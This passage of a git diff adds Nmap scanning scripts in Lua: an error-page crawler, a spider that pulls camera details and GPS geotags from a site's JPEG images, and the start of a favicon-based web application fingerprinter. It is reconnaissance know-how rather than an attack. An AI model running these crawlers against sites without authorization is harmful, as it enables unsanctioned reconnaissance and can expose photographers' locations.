+-- | Spidering limited to: maxpagecount=40; withinhost=some-random-page.com
+-- | Found the following error pages:
+-- |
+-- | Error Code: 404
+-- | http://some-random-page.com/admin/
+-- |
+-- | Error Code: 404
+-- | http://some-random-page.com/foo.html
+-- |
+-- | Error Code: 500
+-- |_ http://some-random-page.com/p.php
+---
+
+categories = {"discovery", "intrusive"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local httpspider = require "httpspider"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+local function compare(a, b)
+ return a[1] < b[1]
+end
+
+local function inTable(tbl, item)
+
+ item = tostring(item)
+ for key, value in pairs(tbl) do
+ if value == tostring(item) then
+ return true
+ end
+ end
+ return nil
+
+end
+
+action = function(host, port)
+
+ local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
+
+ local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
+ maxpagecount = 40,
+ maxdepth = -1,
+ withinhost = 1
+ })
+
+ crawler.options.doscraping = function(url)
+ if crawler:iswithinhost(url)
+ and not crawler:isresource(url, "js")
+ and not crawler:isresource(url, "css") then
+ return true
+ end
+ end
+
+ crawler:set_timeout(10000)
+
+ local errors = {}
+
+ while (true) do
+
+ local response, path
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ response = r.response
+ path = tostring(r.url)
+
+ if (response.status >= 400 and not errcodes) or
+ ( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
+ table.insert(errors, { tostring(response.status), path })
+ end
+
+ end
+
+ -- If the table is empty.
+ if next(errors) == nil then
+ return "Couldn't find any error pages."
+ end
+
+ table.sort(errors, compare)
+
+ -- Create a nice output.
+ local results = {}
+ for c, _ in pairs(errors) do
+ table.insert(results, "\nError Code: " .. _[1])
+ table.insert(results, "\t" .. _[2])
+ end
+
+ table.insert(results, 1, "Found the following error pages: ")
+
+ results.name = crawler:getLimitations()
+
+ return stdnse.format_output(true, results)
+
+end
diff --git a/scripts/http-exif-spider.nse b/scripts/http-exif-spider.nse
new file mode 100644
index 0000000..ab6a12a
--- /dev/null
+++ b/scripts/http-exif-spider.nse
@@ -0,0 +1,539 @@
+description = [[
+Spiders a site's images looking for interesting exif data embedded in
+.jpg files. Displays the make and model of the camera, the date the photo was
+taken, and the embedded geotag information.
+]]
+
+---
+-- @usage
+-- nmap --script http-exif-spider -p80,443 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-exif-spider:
+-- | http://www.javaop.com/Nationalmuseum.jpg
+-- | Make: Canon
+-- | Model: Canon PowerShot S100\xB4
+-- | Date: 2003:03:29 13:35:40
+-- | http://www.javaop.com/topleft.jpg
+-- |_ GPS: 49.941250,-97.206189 - https://maps.google.com/maps?q=49.94125,-97.20618863493
+--
+-- @args http-exif-spider.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive"}
+
+local shortport = require 'shortport'
+local stdnse = require 'stdnse'
+local httpspider = require 'httpspider'
+local string = require 'string'
+local table = require 'table'
+
+-- These definitions are copied/pasted/reformatted from the jhead-2.96 sourcecode
+-- (the code is effectively public domain, but credit where credit's due!)
+TAG_INTEROP_INDEX = 0x0001
+TAG_INTEROP_VERSION = 0x0002
+TAG_IMAGE_WIDTH = 0x0100
+TAG_IMAGE_LENGTH = 0x0101
+TAG_BITS_PER_SAMPLE = 0x0102
+TAG_COMPRESSION = 0x0103
+TAG_PHOTOMETRIC_INTERP = 0x0106
+TAG_FILL_ORDER = 0x010A
+TAG_DOCUMENT_NAME = 0x010D
+TAG_IMAGE_DESCRIPTION = 0x010E
+TAG_MAKE = 0x010F
+TAG_MODEL = 0x0110
+TAG_SRIP_OFFSET = 0x0111
+TAG_ORIENTATION = 0x0112
+TAG_SAMPLES_PER_PIXEL = 0x0115
+TAG_ROWS_PER_STRIP = 0x0116
+TAG_STRIP_BYTE_COUNTS = 0x0117
+TAG_X_RESOLUTION = 0x011A
+TAG_Y_RESOLUTION = 0x011B
+TAG_PLANAR_CONFIGURATION = 0x011C
+TAG_RESOLUTION_UNIT = 0x0128
+TAG_TRANSFER_FUNCTION = 0x012D
+TAG_SOFTWARE = 0x0131
+TAG_DATETIME = 0x0132
+TAG_ARTIST = 0x013B
+TAG_WHITE_POINT = 0x013E
+TAG_PRIMARY_CHROMATICITIES = 0x013F
+TAG_TRANSFER_RANGE = 0x0156
+TAG_JPEG_PROC = 0x0200
+TAG_THUMBNAIL_OFFSET = 0x0201
+TAG_THUMBNAIL_LENGTH = 0x0202
+TAG_Y_CB_CR_COEFFICIENTS = 0x0211
+TAG_Y_CB_CR_SUB_SAMPLING = 0x0212
+TAG_Y_CB_CR_POSITIONING = 0x0213
+TAG_REFERENCE_BLACK_WHITE = 0x0214
+TAG_RELATED_IMAGE_WIDTH = 0x1001
+TAG_RELATED_IMAGE_LENGTH = 0x1002
+TAG_CFA_REPEAT_PATTERN_DIM = 0x828D
+TAG_CFA_PATTERN1 = 0x828E
+TAG_BATTERY_LEVEL = 0x828F
+TAG_COPYRIGHT = 0x8298
+TAG_EXPOSURETIME = 0x829A
+TAG_FNUMBER = 0x829D
+TAG_IPTC_NAA = 0x83BB
+TAG_EXIF_OFFSET = 0x8769
+TAG_INTER_COLOR_PROFILE = 0x8773
+TAG_EXPOSURE_PROGRAM = 0x8822
+TAG_SPECTRAL_SENSITIVITY = 0x8824
+TAG_GPSINFO = 0x8825
+TAG_ISO_EQUIVALENT = 0x8827
+TAG_OECF = 0x8828
+TAG_EXIF_VERSION = 0x9000
+TAG_DATETIME_ORIGINAL = 0x9003
+TAG_DATETIME_DIGITIZED = 0x9004
+TAG_COMPONENTS_CONFIG = 0x9101
+TAG_CPRS_BITS_PER_PIXEL = 0x9102
+TAG_SHUTTERSPEED = 0x9201
+TAG_APERTURE = 0x9202
+TAG_BRIGHTNESS_VALUE = 0x9203
+TAG_EXPOSURE_BIAS = 0x9204
+TAG_MAXAPERTURE = 0x9205
+TAG_SUBJECT_DISTANCE = 0x9206
+TAG_METERING_MODE = 0x9207
+TAG_LIGHT_SOURCE = 0x9208
+TAG_FLASH = 0x9209
+TAG_FOCALLENGTH = 0x920A
+TAG_SUBJECTAREA = 0x9214
+TAG_MAKER_NOTE = 0x927C
+TAG_USERCOMMENT = 0x9286
+TAG_SUBSEC_TIME = 0x9290
+TAG_SUBSEC_TIME_ORIG = 0x9291
+TAG_SUBSEC_TIME_DIG = 0x9292
+TAG_WINXP_TITLE = 0x9c9b
+TAG_WINXP_COMMENT = 0x9c9c
+TAG_WINXP_AUTHOR = 0x9c9d
+TAG_WINXP_KEYWORDS = 0x9c9e
+TAG_WINXP_SUBJECT = 0x9c9f
+TAG_FLASH_PIX_VERSION = 0xA000
+TAG_COLOR_SPACE = 0xA001
+TAG_PIXEL_X_DIMENSION = 0xA002
+TAG_PIXEL_Y_DIMENSION = 0xA003
+TAG_RELATED_AUDIO_FILE = 0xA004
+TAG_INTEROP_OFFSET = 0xA005
+TAG_FLASH_ENERGY = 0xA20B
+TAG_SPATIAL_FREQ_RESP = 0xA20C
+TAG_FOCAL_PLANE_XRES = 0xA20E
+TAG_FOCAL_PLANE_YRES = 0xA20F
+TAG_FOCAL_PLANE_UNITS = 0xA210
+TAG_SUBJECT_LOCATION = 0xA214
+TAG_EXPOSURE_INDEX = 0xA215
+TAG_SENSING_METHOD = 0xA217
+TAG_FILE_SOURCE = 0xA300
+TAG_SCENE_TYPE = 0xA301
+TAG_CFA_PATTERN = 0xA302
+TAG_CUSTOM_RENDERED = 0xA401
+TAG_EXPOSURE_MODE = 0xA402
+TAG_WHITEBALANCE = 0xA403
+TAG_DIGITALZOOMRATIO = 0xA404
+TAG_FOCALLENGTH_35MM = 0xA405
+TAG_SCENE_CAPTURE_TYPE = 0xA406
+TAG_GAIN_CONTROL = 0xA407
+TAG_CONTRAST = 0xA408
+TAG_SATURATION = 0xA409
+TAG_SHARPNESS = 0xA40A
+TAG_DISTANCE_RANGE = 0xA40C
+TAG_IMAGE_UNIQUE_ID = 0xA420
+
+TagTable = {}
+TagTable[TAG_INTEROP_INDEX] = "InteropIndex"
+TagTable[TAG_INTEROP_VERSION] = "InteropVersion"
+TagTable[TAG_IMAGE_WIDTH] = "ImageWidth"
+TagTable[TAG_IMAGE_LENGTH] = "ImageLength"
+TagTable[TAG_BITS_PER_SAMPLE] = "BitsPerSample"
+TagTable[TAG_COMPRESSION] = "Compression"
+TagTable[TAG_PHOTOMETRIC_INTERP] = "PhotometricInterpretation"
+TagTable[TAG_FILL_ORDER] = "FillOrder"
+TagTable[TAG_DOCUMENT_NAME] = "DocumentName"
+TagTable[TAG_IMAGE_DESCRIPTION] = "ImageDescription"
+TagTable[TAG_MAKE] = "Make"
+TagTable[TAG_MODEL] = "Model"
+TagTable[TAG_SRIP_OFFSET] = "StripOffsets"
+TagTable[TAG_ORIENTATION] = "Orientation"
+TagTable[TAG_SAMPLES_PER_PIXEL] = "SamplesPerPixel"
+TagTable[TAG_ROWS_PER_STRIP] = "RowsPerStrip"
+TagTable[TAG_STRIP_BYTE_COUNTS] = "StripByteCounts"
+TagTable[TAG_X_RESOLUTION] = "XResolution"
+TagTable[TAG_Y_RESOLUTION] = "YResolution"
+TagTable[TAG_PLANAR_CONFIGURATION] = "PlanarConfiguration"
+TagTable[TAG_RESOLUTION_UNIT] = "ResolutionUnit"
+TagTable[TAG_TRANSFER_FUNCTION] = "TransferFunction"
+TagTable[TAG_SOFTWARE] = "Software"
+TagTable[TAG_DATETIME] = "DateTime"
+TagTable[TAG_ARTIST] = "Artist"
+TagTable[TAG_WHITE_POINT] = "WhitePoint"
+TagTable[TAG_PRIMARY_CHROMATICITIES]= "PrimaryChromaticities"
+TagTable[TAG_TRANSFER_RANGE] = "TransferRange"
+TagTable[TAG_JPEG_PROC] = "JPEGProc"
+TagTable[TAG_THUMBNAIL_OFFSET] = "ThumbnailOffset"
+TagTable[TAG_THUMBNAIL_LENGTH] = "ThumbnailLength"
+TagTable[TAG_Y_CB_CR_COEFFICIENTS] = "YCbCrCoefficients"
+TagTable[TAG_Y_CB_CR_SUB_SAMPLING] = "YCbCrSubSampling"
+TagTable[TAG_Y_CB_CR_POSITIONING] = "YCbCrPositioning"
+TagTable[TAG_REFERENCE_BLACK_WHITE] = "ReferenceBlackWhite"
+TagTable[TAG_RELATED_IMAGE_WIDTH] = "RelatedImageWidth"
+TagTable[TAG_RELATED_IMAGE_LENGTH] = "RelatedImageLength"
+TagTable[TAG_CFA_REPEAT_PATTERN_DIM]= "CFARepeatPatternDim"
+TagTable[TAG_CFA_PATTERN1] = "CFAPattern"
+TagTable[TAG_BATTERY_LEVEL] = "BatteryLevel"
+TagTable[TAG_COPYRIGHT] = "Copyright"
+TagTable[TAG_EXPOSURETIME] = "ExposureTime"
+TagTable[TAG_FNUMBER] = "FNumber"
+TagTable[TAG_IPTC_NAA] = "IPTC/NAA"
+TagTable[TAG_EXIF_OFFSET] = "ExifOffset"
+TagTable[TAG_INTER_COLOR_PROFILE] = "InterColorProfile"
+TagTable[TAG_EXPOSURE_PROGRAM] = "ExposureProgram"
+TagTable[TAG_SPECTRAL_SENSITIVITY] = "SpectralSensitivity"
+TagTable[TAG_GPSINFO] = "GPS Dir offset"
+TagTable[TAG_ISO_EQUIVALENT] = "ISOSpeedRatings"
+TagTable[TAG_OECF] = "OECF"
+TagTable[TAG_EXIF_VERSION] = "ExifVersion"
+TagTable[TAG_DATETIME_ORIGINAL] = "DateTimeOriginal"
+TagTable[TAG_DATETIME_DIGITIZED] = "DateTimeDigitized"
+TagTable[TAG_COMPONENTS_CONFIG] = "ComponentsConfiguration"
+TagTable[TAG_CPRS_BITS_PER_PIXEL] = "CompressedBitsPerPixel"
+TagTable[TAG_SHUTTERSPEED] = "ShutterSpeedValue"
+TagTable[TAG_APERTURE] = "ApertureValue"
+TagTable[TAG_BRIGHTNESS_VALUE] = "BrightnessValue"
+TagTable[TAG_EXPOSURE_BIAS] = "ExposureBiasValue"
+TagTable[TAG_MAXAPERTURE] = "MaxApertureValue"
+TagTable[TAG_SUBJECT_DISTANCE] = "SubjectDistance"
+TagTable[TAG_METERING_MODE] = "MeteringMode"
+TagTable[TAG_LIGHT_SOURCE] = "LightSource"
+TagTable[TAG_FLASH] = "Flash"
+TagTable[TAG_FOCALLENGTH] = "FocalLength"
+TagTable[TAG_MAKER_NOTE] = "MakerNote"
+TagTable[TAG_USERCOMMENT] = "UserComment"
+TagTable[TAG_SUBSEC_TIME] = "SubSecTime"
+TagTable[TAG_SUBSEC_TIME_ORIG] = "SubSecTimeOriginal"
+TagTable[TAG_SUBSEC_TIME_DIG] = "SubSecTimeDigitized"
+TagTable[TAG_WINXP_TITLE] = "Windows-XP Title"
+TagTable[TAG_WINXP_COMMENT] = "Windows-XP comment"
+TagTable[TAG_WINXP_AUTHOR] = "Windows-XP author"
+TagTable[TAG_WINXP_KEYWORDS] = "Windows-XP keywords"
+TagTable[TAG_WINXP_SUBJECT] = "Windows-XP subject"
+TagTable[TAG_FLASH_PIX_VERSION] = "FlashPixVersion"
+TagTable[TAG_COLOR_SPACE] = "ColorSpace"
+TagTable[TAG_PIXEL_X_DIMENSION] = "ExifImageWidth"
+TagTable[TAG_PIXEL_Y_DIMENSION] = "ExifImageLength"
+TagTable[TAG_RELATED_AUDIO_FILE] = "RelatedAudioFile"
+TagTable[TAG_INTEROP_OFFSET] = "InteroperabilityOffset"
+TagTable[TAG_FLASH_ENERGY] = "FlashEnergy"
+TagTable[TAG_SPATIAL_FREQ_RESP] = "SpatialFrequencyResponse"
+TagTable[TAG_FOCAL_PLANE_XRES] = "FocalPlaneXResolution"
+TagTable[TAG_FOCAL_PLANE_YRES] = "FocalPlaneYResolution"
+TagTable[TAG_FOCAL_PLANE_UNITS] = "FocalPlaneResolutionUnit"
+TagTable[TAG_SUBJECT_LOCATION] = "SubjectLocation"
+TagTable[TAG_EXPOSURE_INDEX] = "ExposureIndex"
+TagTable[TAG_SENSING_METHOD] = "SensingMethod"
+TagTable[TAG_FILE_SOURCE] = "FileSource"
+TagTable[TAG_SCENE_TYPE] = "SceneType"
+TagTable[TAG_CFA_PATTERN] = "CFA Pattern"
+TagTable[TAG_CUSTOM_RENDERED] = "CustomRendered"
+TagTable[TAG_EXPOSURE_MODE] = "ExposureMode"
+TagTable[TAG_WHITEBALANCE] = "WhiteBalance"
+TagTable[TAG_DIGITALZOOMRATIO] = "DigitalZoomRatio"
+TagTable[TAG_FOCALLENGTH_35MM] = "FocalLengthIn35mmFilm"
+TagTable[TAG_SUBJECTAREA] = "SubjectArea"
+TagTable[TAG_SCENE_CAPTURE_TYPE] = "SceneCaptureType"
+TagTable[TAG_GAIN_CONTROL] = "GainControl"
+TagTable[TAG_CONTRAST] = "Contrast"
+TagTable[TAG_SATURATION] = "Saturation"
+TagTable[TAG_SHARPNESS] = "Sharpness"
+TagTable[TAG_DISTANCE_RANGE] = "SubjectDistanceRange"
+TagTable[TAG_IMAGE_UNIQUE_ID] = "ImageUniqueId"
+
+GPS_TAG_VERSIONID = 0X00
+GPS_TAG_LATITUDEREF = 0X01
+GPS_TAG_LATITUDE = 0X02
+GPS_TAG_LONGITUDEREF = 0X03
+GPS_TAG_LONGITUDE = 0X04
+GPS_TAG_ALTITUDEREF = 0X05
+GPS_TAG_ALTITUDE = 0X06
+GPS_TAG_TIMESTAMP = 0X07
+GPS_TAG_SATELLITES = 0X08
+GPS_TAG_STATUS = 0X09
+GPS_TAG_MEASUREMODE = 0X0A
+GPS_TAG_DOP = 0X0B
+GPS_TAG_SPEEDREF = 0X0C
+GPS_TAG_SPEED = 0X0D
+GPS_TAG_TRACKREF = 0X0E
+GPS_TAG_TRACK = 0X0F
+GPS_TAG_IMGDIRECTIONREF = 0X10
+GPS_TAG_IMGDIRECTION = 0X11
+GPS_TAG_MAPDATUM = 0X12
+GPS_TAG_DESTLATITUDEREF = 0X13
+GPS_TAG_DESTLATITUDE = 0X14
+GPS_TAG_DESTLONGITUDEREF = 0X15
+GPS_TAG_DESTLONGITUDE = 0X16
+GPS_TAG_DESTBEARINGREF = 0X17
+GPS_TAG_DESTBEARING = 0X18
+GPS_TAG_DESTDISTANCEREF = 0X19
+GPS_TAG_DESTDISTANCE = 0X1A
+GPS_TAG_PROCESSINGMETHOD = 0X1B
+GPS_TAG_AREAINFORMATION = 0X1C
+GPS_TAG_DATESTAMP = 0X1D
+GPS_TAG_DIFFERENTIAL = 0X1E
+
+GpsTagTable = {}
+GpsTagTable[GPS_TAG_VERSIONID] = "VersionID"
+GpsTagTable[GPS_TAG_LATITUDEREF] = "LatitudeRef"
+GpsTagTable[GPS_TAG_LATITUDE] = "Latitude"
+GpsTagTable[GPS_TAG_LONGITUDEREF] = "LongitudeRef"
+GpsTagTable[GPS_TAG_LONGITUDE] = "Longitude"
+GpsTagTable[GPS_TAG_ALTITUDEREF] = "AltitudeRef"
+GpsTagTable[GPS_TAG_ALTITUDE] = "Altitude"
+GpsTagTable[GPS_TAG_TIMESTAMP] = "Timestamp"
+GpsTagTable[GPS_TAG_SATELLITES] = "Satellites"
+GpsTagTable[GPS_TAG_STATUS] = "Status"
+GpsTagTable[GPS_TAG_MEASUREMODE] = "MeasureMode"
+GpsTagTable[GPS_TAG_DOP] = "Dop"
+GpsTagTable[GPS_TAG_SPEEDREF] = "SpeedRef"
+GpsTagTable[GPS_TAG_SPEED] = "Speed"
+GpsTagTable[GPS_TAG_TRACKREF] = "TrafRef"
+GpsTagTable[GPS_TAG_TRACK] = "Track"
+GpsTagTable[GPS_TAG_IMGDIRECTIONREF] = "ImgDirectionRef"
+GpsTagTable[GPS_TAG_IMGDIRECTION] = "ImgDirection"
+GpsTagTable[GPS_TAG_MAPDATUM] = "MapDatum"
+GpsTagTable[GPS_TAG_DESTLATITUDEREF] = "DestLatitudeRef"
+GpsTagTable[GPS_TAG_DESTLATITUDE] = "DestLatitude"
+GpsTagTable[GPS_TAG_DESTLONGITUDEREF]= "DestLongitudeRef"
+GpsTagTable[GPS_TAG_DESTLONGITUDE] = "DestLongitude"
+GpsTagTable[GPS_TAG_DESTBEARINGREF] = "DestBearingref"
+GpsTagTable[GPS_TAG_DESTBEARING] = "DestBearing"
+GpsTagTable[GPS_TAG_DESTDISTANCEREF] = "DestDistanceRef"
+GpsTagTable[GPS_TAG_DESTDISTANCE] = "DestDistance"
+GpsTagTable[GPS_TAG_PROCESSINGMETHOD]= "ProcessingMethod"
+GpsTagTable[GPS_TAG_AREAINFORMATION] = "AreaInformation"
+GpsTagTable[GPS_TAG_DATESTAMP] = "Datestamp"
+GpsTagTable[GPS_TAG_DIFFERENTIAL] = "Differential"
+
+FMT_BYTE = 1
+FMT_STRING = 2
+FMT_USHORT = 3
+FMT_ULONG = 4
+FMT_URATIONAL = 5
+FMT_SBYTE = 6
+FMT_UNDEFINED = 7
+FMT_SSHORT = 8
+FMT_SLONG = 9
+FMT_SRATIONAL = 10
+FMT_SINGLE = 11
+FMT_DOUBLE = 12
+
+bytes_per_format = {0,1,1,2,4,8,1,1,2,4,8,4,8}
+
+portrule = shortport.http
+
+---Unpack a rational number from exif. In exif, a rational number is stored
+--as a pair of integers - the numerator and the denominator.
+--
+--@return the new position, and the value.
+local function unpack_rational(endian, data, pos)
+ local v1, v2
+ v1, v2, pos = string.unpack(endian .. "I4I4", data, pos)
+ return pos, v1 / v2
+end
+
+local function process_gps(data, pos, endian, result)
+ local value, num_entries
+ local latitude, latitude_ref, longitude, longitude_ref
+
+ -- The first entry in the gps section is a 16-bit size
+ num_entries, pos = string.unpack(endian .. "I2", data, pos)
+
+ -- Loop through the entries to find the fun stuff
+ for i=1, num_entries do
+ local tag, format, components, value
+ tag, format, components, value, pos = string.unpack(endian .. "I2 I2 I4 I4", data, pos)
+
+ if(tag == GPS_TAG_LATITUDE or tag == GPS_TAG_LONGITUDE) then
+ local dummy, gps, h, m, s
+ dummy, h = unpack_rational(endian, data, value + 8)
+ dummy, m = unpack_rational(endian, data, dummy)
+ dummy, s = unpack_rational(endian, data, dummy)
+
+ gps = h + (m / 60) + (s / 60 / 60)
+
+ if(tag == GPS_TAG_LATITUDE) then
+ latitude = gps
+ else
+ longitude = gps
+ end
+ elseif(tag == GPS_TAG_LATITUDEREF) then
+ -- Get the first byte in the latitude reference as a character
+ latitude_ref = string.char(value >> 24)
+ elseif(tag == GPS_TAG_LONGITUDEREF) then
+ -- Get the first byte in the longitude reference as a character
+ longitude_ref = string.char(value >> 24)
+ end
+ end
+
+ if(latitude and longitude) then
+ -- Normalize the N/S/E/W to positive and negative
+ if(latitude_ref == 'S') then
+ latitude = -latitude
+ end
+ if(longitude_ref == 'W') then
+ longitude = -longitude
+ end
+
+ table.insert(result, string.format("GPS: %f,%f - https://maps.google.com/maps?q=%s,%s", latitude, longitude, latitude, longitude))
+ end
+
+ return true, result
+end
+
+---Parse the exif data section and return a table. This has only been tested
+--in a .jpeg file, but should work for .tiff as well.
+local function parse_exif(exif_data)
+ local sig, marker, size
+ local tag, format, components, byte_count, value, offset, dummy, data
+ local status, result
+ local tiff_header_1, first_offset
+
+ -- Initialize the result table
+ result = {}
+
+ -- Read the verify the EXIF header
+ local header, endian, pos = string.unpack(">c6 I2", exif_data, 1)
+ if(header ~= "Exif\0\0") then
+ return false, "Invalid EXIF header"
+ end
+
+ -- Check the endianness - it should only ever be big endian, but it doesn't
+ -- hurt to check
+ if(endian == 0x4d4d) then
+ endian = ">"
+ elseif(endian == 0x4949) then
+ endian = "<"
+ else
+ return false, "Unrecognized endianness entry"
+ end
+
+ -- Read the first tiff header and the offset to the first data entry (should be 8)
+ tiff_header_1, first_offset, pos = string.unpack(endian .. "I2 I4", exif_data, pos)
+ if(tiff_header_1 ~= 0x002A or first_offset ~= 0x00000008) then
+ return false, "Invalid tiff header"
+ end
+
+ -- Skip over the header, and go to the first offset (subtracting 1 because lua)
+ pos = first_offset + 8 - 1
+
+ -- The first 16-bit value is the number of entries
+ local num_entries, pos = string.unpack(endian .. "I2", exif_data, pos)
+
+ -- Loop through the entries
+ for i=1,num_entries do
+ -- Read the entry's header
+ tag, format, components, value, pos = string.unpack(endian .. "I2 I2 I4 I4", exif_data, pos)
+
+ -- Look at the tags we care about
+ if(tag == TAG_GPSINFO) then
+ -- If it's a GPSINFO tag, we need to parse the GPS structure
+ status, result = process_gps(exif_data, value + 8 - 1, endian, result)
+ if(not(status)) then
+ return false, result
+ end
+ else
+ value = string.unpack("z", exif_data, value + 8 - 1)
+ if (tag == TAG_MAKE) then
+ table.insert(result, string.format("Make: %s", value))
+ elseif(tag == TAG_MODEL) then
+ table.insert(result, string.format("Model: %s", value))
+ elseif(tag == TAG_DATETIME) then
+ table.insert(result, string.format("Date: %s", value))
+ end
+ end
+ end
+
+ return true, result
+end
+
+---Parse a jpeg and find the EXIF data section
+local function parse_jpeg(s)
+ local pos, sig, marker, size, exif_data
+
+ -- Parse the jpeg header, make sure it's valid (we expect 0xFFD8)
+ sig, pos = string.unpack(">I2", s, pos)
+ if(sig ~= 0xFFD8) then
+ return false, "Unexpected signature"
+ end
+
+ -- Parse the sections to find the exif marker (0xffe1)
+ while(true) do
+ marker, size, pos = string.unpack(">I2I2", s, pos)
+
+ -- Check if we found the exif metadata section, break if we did
+ if(marker == 0xffe1) then
+ break
+ -- If the marker is nil, we're off the end of the image (and therefore, it wasn't found)
+ elseif(not(marker)) then
+ return false, "Could not found EXIF marker"
+ end
+
+ -- Go to the next section (we subtract 2 because of the 2-byte marker we read)
+ pos = pos + size - 2
+ end
+
+ exif_data, pos = string.unpack(string.format(">c%d", size), s, pos)
+
+ return parse_exif(exif_data)
+end
+
+
+function action(host, port)
+ local pattern = "%.jpg"
+ local images = {}
+ local results = {}
+
+ -- once we know the pattern we'll be searching for, we can set up the function
+ local whitelist = function(url)
+ return string.match(url.file, "%.jpg") or string.match(url.file, "%.jpeg")
+ end
+
+ local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, whitelist = { whitelist }} )
+
+ if ( not(crawler) ) then
+ return
+ end
+
+ while(true) do
+ -- Begin the crawler
+ local status, r = crawler:crawl()
+
+ -- Make sure there's no error
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ -- Check if we got a response, and the response is a .jpg file
+ if r.response and r.response.body and r.response.status==200 and (string.match(r.url.path, ".jpg") or string.match(r.url.path, ".jpeg")) then
+ local status, result
+ stdnse.debug1("Attempting to read exif data from %s", r.url.raw)
+ status, result = parse_jpeg(r.response.body)
+ if(not(status)) then
+ stdnse.debug1("Couldn't read exif from %s: %s", r.url.raw, result)
+ else
+ -- If there are any exif results, add them to the result
+ if(result and #result > 0) then
+ result['name'] = r.url.raw
+ table.insert(results, result)
+ end
+ end
+ end
+ end
+
+ return stdnse.format_output(true, results)
+end
+
diff --git a/scripts/http-favicon.nse b/scripts/http-favicon.nse
new file mode 100644
index 0000000..91984d3
--- /dev/null
+++ b/scripts/http-favicon.nse
@@ -0,0 +1,175 @@
+local datafiles = require "datafiles"
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local url = require "url"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Gets the favicon ("favorites icon") from a web page and matches it against a
+database of the icons of known web applications. If there is a match, the name
+of the application is printed; otherwise the MD5 hash of the icon data is
+printed.
+
+If the script argument <code>favicon.uri</code> is given, that relative URI is
+always used to find the favicon. Otherwise, first the page at the root of the
+web server is retrieved and parsed for a <code><link rel="icon"></code>
+element. If that fails, the icon is looked for in <code>/favicon.ico</code>. If
+a <code><link></code> favicon points to a different host or port, it is ignored.
+]]
+
+---
+-- @args favicon.uri URI that will be requested for favicon.
+-- @args favicon.root Web server path to search for favicon.
+--
+-- @usage
+-- nmap --script=http-favicon.nse \
+-- --script-args favicon.root=<root>,favicon.uri=<uri>
+-- @output
+-- |_ http-favicon: Socialtext
+
+-- HTTP default favicon enumeration script
+-- rev 1.2 (2009-03-11)
+-- Original NASL script by Javier Fernandez-Sanguino Pena
+
+
+author = "Vlatko Kosturjak"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local md5sum,answer
+ local match
+ local status, favicondb
+ local result
+ local favicondbfile="nselib/data/favicon-db"
+ local index, icon
+ local root = ""
+
+ status, favicondb = datafiles.parse_file( favicondbfile, {["^%s*([^%s#:]+)[%s:]+"] = "^%s*[^%s#:]+[%s:]+(.*)"})
+ if not status then
+ stdnse.debug1("Could not open file: %s", favicondbfile )
+ return
+ end
+
+ if(stdnse.get_script_args('favicon.root')) then
+ root = stdnse.get_script_args('favicon.root')
+ end
+ local favicon_uri = stdnse.get_script_args("favicon.uri")
+ if(favicon_uri) then
+ -- If we got a script arg URI, always use that.
+ answer = http.get( host, port, root .. "/" .. favicon_uri)
+ stdnse.debug4("Using URI %s", favicon_uri)
+ else
+ -- Otherwise, first try parsing the home page.
+ index = http.get( host, port, root .. "/" )
+ if index.status == 200 or index.status == 503 then
+ -- find the favicon pattern
+ icon = parseIcon( index.body )
+ -- if we find a pattern
+ if icon then
+ local hostname = host.targetname or (host.name ~= "" and host.name) or host.ip
+ stdnse.debug1("Got icon URL %s.", icon)
+ local icon_host, icon_port, icon_path = parse_url_relative(icon, hostname, port.number, root)
+ if (icon_host == host.ip or
+ icon_host == host.targetname or
+ icon_host == (host.name ~= '' and host.name)) and
+ icon_port == port.number then
+ -- request the favicon
+ answer = http.get( icon_host, icon_port, icon_path )
+ else
+ answer = nil
+ end
+ else
+ answer = nil
+ end
+ end
+
+ -- If that didn't work, try /favicon.ico.
+ if not answer or answer.status ~= 200 then
+ answer = http.get( host, port, root .. "/favicon.ico" )
+ stdnse.debug4("Using default URI.")
+ end
+ end
+
+ --- check for 200 response code
+ if answer and answer.status == 200 then
+ md5sum=string.upper(stdnse.tohex(openssl.md5(answer.body)))
+ match=favicondb[md5sum]
+ if match then
+ result = match
+ else
+ if nmap.verbosity() > 0 then
+ result = "Unknown favicon MD5: " .. md5sum
+ end
+ end
+ else
+ stdnse.debug1("No favicon found.")
+ return
+ end --- status == 200
+ return result
+end
+
+local function dirname(path)
+ local dir
+ dir = string.match(path, "^(.*)/")
+ return dir or ""
+end
+
+-- Return a URL's host, port, and path, filling in the results with the given
+-- host, port, and path if the URL is relative. Return nil if the scheme is not
+-- "http" or "https".
+function parse_url_relative(u, host, port, path)
+ local scheme, abspath
+ u = url.parse(u)
+ scheme = u.scheme or "http"
+ if not (scheme == "http" or scheme == "https") then
+ return nil
+ end
+ abspath = u.path or ""
+ if not string.find(abspath, "^/") then
+ abspath = dirname(path) .. "/" .. abspath
+ end
+ return u.host or host, u.port or url.get_default_port(scheme), abspath
+end
+
+function parseIcon( body )
+ local _, i, j
+ local rel, href, word
+
+ -- Loop through link elements.
+ i = 0
+ while i do
+ _, i = string.find(body, "<%s*[Ll][Ii][Nn][Kk]%s", i + 1)
+ if not i then
+ return nil
+ end
+ -- Loop through attributes.
+ j = i
+ while true do
+ local name, quote, value
